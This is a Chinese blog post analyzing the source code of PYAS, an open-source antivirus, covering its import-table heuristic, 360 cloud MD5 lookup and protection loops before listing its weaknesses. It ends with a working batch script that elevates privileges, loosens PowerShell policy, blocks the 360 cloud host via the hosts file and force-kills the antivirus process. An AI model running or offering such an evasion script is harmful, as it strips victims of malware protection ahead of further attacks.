PYAS 简介
PYAS 免费防毒软件
免费开源、轻巧易用、多重安全防护
PYAS采用自研本地以及360云端扫毒引擎,
并内置多重系统安全防护,保障数据安全.
多重系统安全防护
内置5大系统安全防护,以及81个防护子项目
进程防护 -> 监控进程并拦截恶意软件
文件防护 -> 阻止病毒档案创建及释放
引导防护 -> 阻止开机引导扇区被破坏
注册表防护 -> 修复系统注册表防护项目
增强防护 -> 增强注册表关键防护项目
PYAS源代码分析
PYAS 的项目结构
复制代码 隐藏代码. │ LICENSE.md │ PYAS.py │ PYAS_Language.py │ PYAS_Model.py │ PYAS_UI.py │ PYAS_UI_rc.py │ PYAS_Version_File.py │ README.md └─Library ICON.ico PYAS.json
主要代码就在PYAS.py
和PYAS_Model.py
这两个文件中.
先来看PYAS_Model.py
:
function_list = [['_CorExeMain'], ['GetProcessHeap', 'RtlUnwind', 'RaiseException', 'HeapSize', 'TerminateProcess', 'UnhandledExceptionFilter', 'SetUnhandledExceptionFilter', 'IsDebuggerPresent', 'HeapDestroy', 'HeapCreate', 'VirtualFree', 'Sleep', 'GetStdHandle',
'省略亿点点......',
], ['InitializeCriticalSection', 'PostQuitMessage', 'RegOpenKeyExA', '?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z', 'PlaySoundA', '_CxxThrowException', '_itoa_s', '__stdio_common_vsprintf', '_initialize_narrow_environment', 'strcat_s', '_callnewh', 'srand', '_getch', '_time64', '_mbsrchr', '_CIcos', '_configthreadlocale', 'SetPixelV', 'ExtractIconA', 'CoInitialize', 'GetModuleFileNameW', 'GetModuleHandleA', 'LoadLibraryA', 'LocalAlloc', 'LocalFree', 'GetModuleFileNameA', 'ExitProcess']]
该数据为后面的PE导入表扫描提供function_list
.
扫描的范围
按照文件扩展名:
self.sflist = [".exe",".dll",".com",".msi",".js",".jar",".vbs",".ps1",".xls",".xlsx",".doc",".docx"]
PE导入表扫描
复制代码 隐藏代码def pe_scan(self,file): try: fn = [] pe = PE(file) pe.close() for entry in pe.DIRECTORY_ENTRY_IMPORT: for func in entry.imports: fn.append(str(func.name, "utf-8")) for vfl in function_list: QApplication.processEvents() if sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i]) / min(len(vfl), len(fn)) > 0.5: return True return False except: return False
代码中的关键对比部分如下:
复制代码 隐藏代码if sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i]) / min(len(vfl), len(fn)) > 0.5: return True
这段代码对比预定义函数列表(vfl
)和从文件的导入表中提取的函数列表(fn
).
分为以下几个步骤:
min(len(vfl), len(fn))
用于获取两个函数列表中较短的长度,用来避免索引超出范围.sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i])
使用生成器表达式和sum()
函数来计算在相同位置上函数列表(vfl
和fn
)中函数名称相同的数量.- 计算相同函数数量的比例,即相同函数数量除以较短函数列表的长度.
- 如果比例大于0.5,则意味着超过50%的函数名称匹配,代码返回
True
,表示给定的文件可能是恶意软件.如果没有满足条件的函数,则继续遍历其他预定义函数列表. - 如果遍历完所有预定义函数列表仍未满足条件,代码返回
False
,表示给定的文件可能是正常文件.
使用该方法存在误判漏判的可能, 病毒一般会隐藏导入表许多非必要函数, 需要时动态加载.
而正常软件又不会故意处理导入表, 所以该方法误判率高, 且比较过程较耗费性能.
签名扫描
复制代码 隐藏代码def sign_scan(self, file): try: pe = PE(file, fast_load=True) pe.close() return pe.OPTIONAL_HEADER.DATA_DIRECTORY[DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]].VirtualAddress == 0 except: return True
任何不具有签名的应用程序都会被Kill并删除, 但是不检验
签名的合法性.
360云查杀
复制代码 隐藏代码def api_scan(self, file): try: if self.cloud_services == 1: with open(file, "rb") as f: text = str(md5(f.read()).hexdigest()) strBody = f'-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="md5s"\r\n\r\n{text}\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="format"\r\n\r\nXML\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="product"\r\n\r\n360zip\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="combo"\r\n\r\n360zip_main\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="v"\r\n\r\n2\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="osver"\r\n\r\n5.1\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="vk"\r\n\r\na03bc211\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="mid"\r\n\r\n8a40d9eff408a78fe9ec10a0e7e60f62\r\n-------------------------------7d83e2d7a141e--' response = requests.post('http://qup.f.360.cn/file_health_info.php', data=strBody, timeout=3) return response.status_code == 200 and float(ET.fromstring(response.text).find('.//e_level').text) > 50 except: return False
同理, e_level > 50%
被判定为危险.
Body解析:
复制代码 隐藏代码-------------------------------7d83e2d7a141e Content-Disposition: form-data; name="md5s" {text} -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="format" XML -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="product" 360zip -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="combo" 360zip_main -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="v" 2 -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="osver" 5.1 -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="vk" a03bc211 -------------------------------7d83e2d7a141e Content-Disposition: form-data; name="mid" 8a40d9eff408a78fe9ec10a0e7e60f62 -------------------------------7d83e2d7a141e--
其中{text}
会被替换成文件的MD5字符串
其中product为360zip, 所以应该是从360zip
抓取的api.
进程防护
复制代码 隐藏代码def protect_system_processes(self): while self.proc_protect: for p in psutil.process_iter(): try: time.sleep(0.001) file, name = str(p.exe()).replace("\\", "/"), str(p.name()) if file == self.pyas or file in self.whitelist: continue elif ":/Windows" in file or ":/Program" in file or "AppData" in file: continue elif file in ["","Registry","vmmemCmZygote","MemCompression"]: continue elif self.high_sensitivity == 1 and self.sign_scan(file): p.kill() self.system_notification(self.text_Translate("無效簽名攔截: ")+name) elif self.api_scan(file): p.kill() self.system_notification(self.text_Translate("惡意軟體攔截: ")+name) elif self.pe_scan(file): p.kill() self.system_notification(self.text_Translate("可疑檔案攔截: ")+name) gc.collect() except: pass
注意这一句代码:
复制代码 隐藏代码for p in psutil.process_iter():
因为我之前也尝试过仿照UAC实现进程的拦截与允许, 网上有一个vb6.0
实现进程启动拦截的代码, 那个项目就是利用进程列表快照反复对比实现的, 一旦检测到新的, 先创建Pending Process
, 然后弹窗问用户是否启动, 如果允许, Resume Process
, 否则直接Kill.
但是这种方法问题也很明显:
- 就是再怎么Thread.Sleep, 也是死循环, 如果没有新的进程启动, 无疑是耗费性能.
- 存在时间抢占, 不一定在任何情况下都能比程序先一步处理.
文件防护
复制代码 隐藏代码def protect_system_file(self,path): hDir = win32file.CreateFile(path,win32con.GENERIC_READ,win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE,None,win32con.OPEN_EXISTING,win32con.FILE_FLAG_BACKUP_SEMANTICS,None) while self.file_protect: try: for action, file in win32file.ReadDirectoryChangesW(hDir,1024,True,win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY,None,None): file = str(f"{path}{file}").replace("\\", "/") if file == self.pyas or file in self.whitelist: continue elif ":/$Recycle.Bin" in file or ":/Windows" in file or ":/Program" in file: continue elif action == 3 and str(os.path.splitext(file)[1]).lower() in self.sflist: if self.sign_scan(file) and self.api_scan(file): os.remove(file) self.system_notification(self.text_Translate("惡意軟體刪除: ")+file) except: pass
这个类似C# 里提供的FileSystemWatcher, 监听文件系统变化. 该代码不检查谁进行的更改
, 只检查受保护的目录不被写入病毒文件.
引导防护
复制代码 隐藏代码def protect_system_mbr_repair(self): while self.mbr_protect and self.mbr_value != None: try: time.sleep(0.2) with open(r"\\.\PhysicalDrive0", "r+b") as f: if f.read(512) != self.mbr_value: f.seek(0) f.write(self.mbr_value) self.system_notification(self.text_Translate("引導分區修復: PhysicalDrive0")) except: pass
就是一直对比MBR, 实际和一开始保存的, 不一样就写回去覆盖.
注册表防护
复制代码 隐藏代码def protect_system_reg_repair(self): while self.reg_protect: try: time.sleep(0.2) self.repair_system_restrictions() except: pass def repair_system_restrictions(self): try: Permission = ["NoControlPanel", "NoDrives", "NoFileMenu", "NoFind", "NoRealMode", "NoRecentDocsMenu","NoSetFolders", "NoSetFolderOptions", "NoViewOnDrive", "NoClose", "NoRun", "NoDesktop", "NoLogOff", "NoFolderOptions", "RestrictRun","DisableCMD", "NoViewContexMenu", "HideClock", "NoStartMenuMorePrograms", "NoStartMenuMyGames", "NoStartMenuMyMusic" "NoStartMenuNetworkPlaces", "NoStartMenuPinnedList", "NoActiveDesktop", "NoSetActiveDesktop", "NoActiveDesktopChanges", "NoChangeStartMenu", "ClearRecentDocsOnExit", "NoFavoritesMenu", "NoRecentDocsHistory", "NoSetTaskbar", "NoSMHelp", "NoTrayContextMenu", "NoViewContextMenu", "NoWindowsUpdate", "NoWinKeys", "StartMenuLogOff", "NoSimpleNetlDList", "NoLowDiskSpaceChecks", "DisableLockWorkstation", "NoManageMyComputerVerb", "DisableTaskMgr", "DisableRegistryTools", "DisableChangePassword", "Wallpaper", "NoComponents", "NoAddingComponents", "Restrict_Run"] win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"Explorer") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"Explorer") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"System") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"System") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"ActiveDesktop") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Policies\Microsoft\Windows",0,win32con.KEY_ALL_ACCESS),"System") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Policies\Microsoft\Windows",0,win32con.KEY_ALL_ACCESS),"System") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft",0,win32con.KEY_ALL_ACCESS),"MMC") win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft\MMC",0,win32con.KEY_ALL_ACCESS),"{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}") keys = [win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Policies\Microsoft\Windows\System",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Policies\Microsoft\Windows\System",0,win32con.KEY_ALL_ACCESS), win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}",0,win32con.KEY_ALL_ACCESS)] for key in keys: for i in Permission: try: win32api.RegDeleteValue(key,i) except: pass win32api.RegCloseKey(key) except: pass
定时将常见Windows高危默认注册表项覆盖写入, 并删除高危的注册表值.
增强防护
复制代码 隐藏代码def protect_system_enhanced(self): while self.enh_protect: try: time.sleep(0.2) self.repair_system_file_type() self.repair_system_image() self.repair_system_icon() except: pass def repair_system_icon(self): try: for file_type in ['exefile', 'comfile', 'txtfile', 'dllfile', 'inifile', 'VBSfile']: try: key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, file_type, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValue(key, 'DefaultIcon', win32con.REG_SZ, '%1') except: pass try: key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\Classes\\' + file_type, 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValue(key, 'DefaultIcon', win32con.REG_SZ, '%1') except: pass except: pass def repair_system_image(self): try: key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0,win32con.KEY_ALL_ACCESS | win32con.WRITE_OWNER) count = win32api.RegQueryInfoKey(key)[0] while count >= 0: try: subKeyName = win32api.RegEnumKey(key, count) win32api.RegDeleteKey(key, subKeyName) except: pass count = count - 1 except: pass def repair_system_file_type(self): try: data = [('jpegfile', 'JPEG Image'),('.exe', 'exefile'),('exefile', 'Application'),('.com', 'comfile'),('comfile', 'MS-DOS Application'), ('.zip', 'CompressedFolder'),('.dll', 'dllfile'),('dllfile', 'Application Extension'),('.sys', 'sysfile'),('sysfile', 'System file'), ('.bat', 'batfile'),('batfile', 'Windows Batch File'),('VBS', 'VB Script Language'),('VBSfile', 'VBScript Script File'), ('.txt', 'txtfile'),('txtfile', 'Text Document'),('.ini', 'inifile'),('inifile', 'Configuration Settings')] key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\Classes', 0, win32con.KEY_ALL_ACCESS)# HKEY_LOCAL_MACHINE for ext, value in data: win32api.RegSetValue(key, ext, win32con.REG_SZ, value) win32api.RegCloseKey(key) key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\Classes', 0, win32con.KEY_ALL_ACCESS)# HKEY_CURRENT_USER for ext, value in data: win32api.RegSetValue(key, ext, win32con.REG_SZ, value) try: keyopen = win32api.RegOpenKey(key, ext + r'\shell\open', 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValue(keyopen, 'command', win32con.REG_SZ, '"%1" %*') win32api.RegCloseKey(keyopen) except: pass win32api.RegCloseKey(key) key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts', 0, win32con.KEY_ALL_ACCESS)# HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts extensions = ['.exe', '.zip', '.dll', '.sys', '.bat', '.txt', '.msc'] for ext in extensions: win32api.RegSetValue(key, ext, win32con.REG_SZ, '') win32api.RegCloseKey(key) key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, None, 0, win32con.KEY_ALL_ACCESS)# HKEY_CLASSES_ROOT for ext, value in data: win32api.RegSetValue(key, ext, win32con.REG_SZ, value) if ext in ['.cmd', '.vbs']: win32api.RegSetValue(key, ext + 'file', win32con.REG_SZ, 'Windows Command Script') try: keyopen = win32api.RegOpenKey(key, ext + r'\shell\open', 0, win32con.KEY_ALL_ACCESS) win32api.RegSetValue(keyopen, 'command', win32con.REG_SZ, '"%1" %*') win32api.RegCloseKey(keyopen) except: pass win32api.RegCloseKey(key) except: pass
类似注册表防护, 不断覆写正常默认值.
其他部分
其他部分就没什么必要说了, 都是一些常见的系统修复功能, 下面说说怎么绕过.
绕过PYAS
分析
- 只是利用了简单的进程列表对比, 而且主要依赖扫描文件来防护, 没有任何关于正在执行部分的处理过程, 意味着它不具备行为分析能力.
- 没有做WIN32层面的HOOK, 更没有做RING0的驱动对抗, 而且也没有自我保护功能.
- 无法查杀动态脚本, 例如MD5变化的.
- 不检查签名有效性.
- 严重依赖WIN32 Process组件, 结束进程是普通的Kill, 删除不强制.
- [KEYPOINT] PYAS 主要依靠360云查杀扫描MD5, 一旦断网, 本地引擎无法查杀脚本, 因为本地引擎需要使用PE导入表判断.
- 设置易被篡改, 例如白名单列表.
绕过示例
复制代码 隐藏代码@echo off setlocal REM 检查是否已经以管理员权限运行脚本 net session >nul 2>&1 if %errorLevel% == 0 ( goto :run_with_admin ) REM 调整Powersehll脚本运行策略为最宽松 powershell.exe Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force REM 如果没有以管理员权限运行脚本,重新以管理员权限运行 powershell.exe -Command "Start-Process -FilePath \"%0\" -Verb RunAs" exit :run_with_admin REM 已以管理员权限运行 set hosts_path=C:\Windows\System32\drivers\etc\hosts REM 修改Hosts文件的权限为任何人可读写 icacls %hosts_path% /grant Everyone:(W,R) REM 写入hosts禁用360云查杀 echo. >> %hosts_path% echo 127.0.0.1 qup.f.360.cn >> %hosts_path% REM 结束PYAS进程 set "process_name=PYAS.exe" taskkill /f /t /im "%process_name%" REM 后续其他操作...... exit
参考
扫码免费获取资源:
